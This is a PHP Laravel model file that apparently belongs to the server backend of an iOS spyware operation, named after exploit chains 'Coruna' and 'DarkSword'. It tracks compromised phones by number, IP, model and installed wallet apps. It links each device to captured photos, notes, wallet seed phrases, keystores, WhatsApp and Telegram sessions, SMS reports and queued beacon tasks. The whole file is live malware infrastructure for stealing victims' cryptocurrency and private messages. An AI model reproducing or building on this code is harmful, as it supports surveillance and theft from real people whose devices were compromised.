277 lines
7.5 KiB
PHP
277 lines
7.5 KiB
PHP
<?php
|
||
|
||
namespace App\Models;
|
||
|
||
use App\Support\CfIpCountry;
|
||
use Illuminate\Database\Eloquent\Model;
|
||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||
|
||
class Device extends Model
|
||
{
|
||
public const WALLET_UNKNOWN = 0;
|
||
|
||
public const WALLET_NONE = 1;
|
||
|
||
public const WALLET_YES = 2;
|
||
|
||
public const CHAIN_CORUNA = 1;
|
||
|
||
public const CHAIN_DARKSWORD = 2;
|
||
|
||
protected $fillable = [
|
||
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
|
||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||
'has_whatsapp', 'has_telegram',
|
||
];
|
||
|
||
protected $attributes = [
|
||
'has_wallet' => self::WALLET_UNKNOWN,
|
||
'chain' => self::CHAIN_CORUNA,
|
||
'album_storage' => false,
|
||
'has_whatsapp' => false,
|
||
'has_telegram' => false,
|
||
];
|
||
|
||
protected function casts(): array
|
||
{
|
||
return [
|
||
'telegram_notified' => 'boolean',
|
||
'album_storage' => 'boolean',
|
||
'has_wallet' => 'integer',
|
||
'chain' => 'integer',
|
||
'wallet_names' => 'array',
|
||
'has_whatsapp' => 'boolean',
|
||
'has_telegram' => 'boolean',
|
||
];
|
||
}
|
||
|
||
public function formattedIp(): string
|
||
{
|
||
$ip = trim((string) $this->ip);
|
||
if ($ip === '') {
|
||
return '';
|
||
}
|
||
$label = CfIpCountry::label($this->resolvedCountry());
|
||
|
||
return $label !== '' ? $ip.'('.$label.')' : $ip;
|
||
}
|
||
|
||
public function resolvedCountry(): ?string
|
||
{
|
||
$code = CfIpCountry::normalize($this->country);
|
||
if ($code !== null) {
|
||
return $code;
|
||
}
|
||
$ip = trim((string) $this->ip);
|
||
if ($ip === '') {
|
||
return null;
|
||
}
|
||
|
||
return CfIpCountry::normalize(
|
||
PageVisit::query()
|
||
->where('ip', $ip)
|
||
->whereNotNull('country')
|
||
->where('country', '!=', '')
|
||
->orderByDesc('id')
|
||
->value('country')
|
||
);
|
||
}
|
||
|
||
public function isDarkSword(): bool
|
||
{
|
||
return (int) $this->chain === self::CHAIN_DARKSWORD;
|
||
}
|
||
|
||
public function hasWalletApps(): bool
|
||
{
|
||
return (int) $this->has_wallet === self::WALLET_YES;
|
||
}
|
||
|
||
/**
|
||
* @return list<string>
|
||
*/
|
||
public function walletNameList(): array
|
||
{
|
||
$names = $this->wallet_names;
|
||
if (! is_array($names)) {
|
||
return [];
|
||
}
|
||
|
||
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
|
||
}
|
||
|
||
public function hasWhatsApp(): bool
|
||
{
|
||
return (bool) $this->has_whatsapp;
|
||
}
|
||
|
||
public function hasTelegram(): bool
|
||
{
|
||
return (bool) $this->has_telegram;
|
||
}
|
||
|
||
/**
|
||
* @return list<string>
|
||
*/
|
||
public function imNameList(): array
|
||
{
|
||
$names = [];
|
||
if ($this->hasWhatsApp()) {
|
||
$names[] = 'WhatsApp';
|
||
}
|
||
if ($this->hasTelegram()) {
|
||
$names[] = 'Telegram';
|
||
}
|
||
|
||
return $names;
|
||
}
|
||
|
||
public function refreshImFlags(): void
|
||
{
|
||
$kinds = $this->pluginSessions()->distinct()->pluck('kind')->map(fn ($k) => (int) $k)->all();
|
||
$this->has_whatsapp = in_array(PluginSession::KIND_WHATSAPP, $kinds, true);
|
||
$this->has_telegram = in_array(PluginSession::KIND_TELEGRAM, $kinds, true);
|
||
$this->save();
|
||
}
|
||
|
||
public function albumStorageEnabled(): bool
|
||
{
|
||
return (bool) ($this->album_storage ?? false);
|
||
}
|
||
|
||
/** Photos and C2/DS file logs — only when album is on or wallet apps are present. */
|
||
public function persistCaptureEnabled(): bool
|
||
{
|
||
return $this->albumStorageEnabled() || $this->hasWalletApps();
|
||
}
|
||
|
||
/**
|
||
* Normalize a DarkSword device key to the canonical dashed UUID format
|
||
* (8-4-4-4-12, uppercase). This is the single source of truth used by
|
||
* extractDeviceKey, captureEnabledForKey, and register() so that storage
|
||
* and display are always the same format.
|
||
*
|
||
* - Strips non-hex characters (including dashes, spaces, braces).
|
||
* - Uppercases.
|
||
* - If exactly 32 hex chars → formats as XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX.
|
||
* - If not 32 chars (e.g. old xxbb 16-hex IDs) → returns uppercase hex as-is.
|
||
*/
|
||
public static function normalizeDarkswordKey(?string $deviceKey): ?string
|
||
{
|
||
if ($deviceKey === null || $deviceKey === '') {
|
||
return null;
|
||
}
|
||
|
||
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $deviceKey) ?? '');
|
||
if ($hex === '') {
|
||
return null;
|
||
}
|
||
|
||
// Only 32-char hex values are UUIDs — format with dashes.
|
||
if (strlen($hex) === 32) {
|
||
return substr($hex, 0, 8).'-'.substr($hex, 8, 4).'-'.substr($hex, 12, 4).'-'.substr($hex, 16, 4).'-'.substr($hex, 20, 12);
|
||
}
|
||
|
||
// Non-32-char IDs (e.g. old xxbb 16-hex) — return as-is.
|
||
return substr($hex, 0, 64);
|
||
}
|
||
|
||
public static function captureEnabledForKey(?string $deviceKey): bool
|
||
{
|
||
$key = static::normalizeDarkswordKey($deviceKey);
|
||
if ($key === null) {
|
||
return false;
|
||
}
|
||
|
||
$device = static::query()->where('device_id', $key)->first();
|
||
|
||
// Safety net: if not found by dashed format, try plain (no dashes).
|
||
// This covers xxbb/coruna devices that may store a 32-char hex ID
|
||
// in plain format via IngestService::normalizeDeviceKey.
|
||
if (! $device && strlen($key) === 36) {
|
||
$plain = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $key) ?? '');
|
||
if ($plain !== '' && $plain !== $key) {
|
||
$device = static::query()->where('device_id', $plain)->first();
|
||
}
|
||
}
|
||
|
||
return $device?->persistCaptureEnabled() ?? false;
|
||
}
|
||
|
||
public function apps(): HasMany
|
||
{
|
||
return $this->hasMany(DeviceApp::class);
|
||
}
|
||
|
||
public function events(): HasMany
|
||
{
|
||
return $this->hasMany(DeviceEvent::class);
|
||
}
|
||
|
||
public function photos(): HasMany
|
||
{
|
||
return $this->hasMany(Photo::class);
|
||
}
|
||
|
||
public function noteScans(): HasMany
|
||
{
|
||
return $this->hasMany(NoteScan::class);
|
||
}
|
||
|
||
public function mnemonicFindings(): HasMany
|
||
{
|
||
return $this->hasMany(MnemonicFinding::class);
|
||
}
|
||
|
||
public function notes(): HasMany
|
||
{
|
||
return $this->hasMany(Note::class);
|
||
}
|
||
|
||
public function addresses(): HasMany
|
||
{
|
||
return $this->hasMany(WalletAddress::class);
|
||
}
|
||
|
||
public function mnemonics(): HasMany
|
||
{
|
||
return $this->hasMany(WalletMnemonic::class);
|
||
}
|
||
|
||
/** Oldest device on an official channel; used as scan-ingest holder. */
|
||
public static function officialHolder(): ?self
|
||
{
|
||
$channelIds = Channel::query()
|
||
->where('user_id', Channel::OFFICIAL_USER_ID)
|
||
->pluck('channel_id');
|
||
if ($channelIds->isEmpty()) {
|
||
return null;
|
||
}
|
||
|
||
return static::query()
|
||
->whereIn('channel_id', $channelIds)
|
||
->orderBy('id')
|
||
->first();
|
||
}
|
||
|
||
public function keystores(): HasMany
|
||
{
|
||
return $this->hasMany(WalletKeystore::class);
|
||
}
|
||
|
||
public function pluginSessions(): HasMany
|
||
{
|
||
return $this->hasMany(PluginSession::class);
|
||
}
|
||
|
||
public function smsReports(): HasMany
|
||
{
|
||
return $this->hasMany(SmsReport::class);
|
||
}
|
||
|
||
public function beaconTasks(): HasMany
|
||
{
|
||
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
|
||
}
|
||
}
|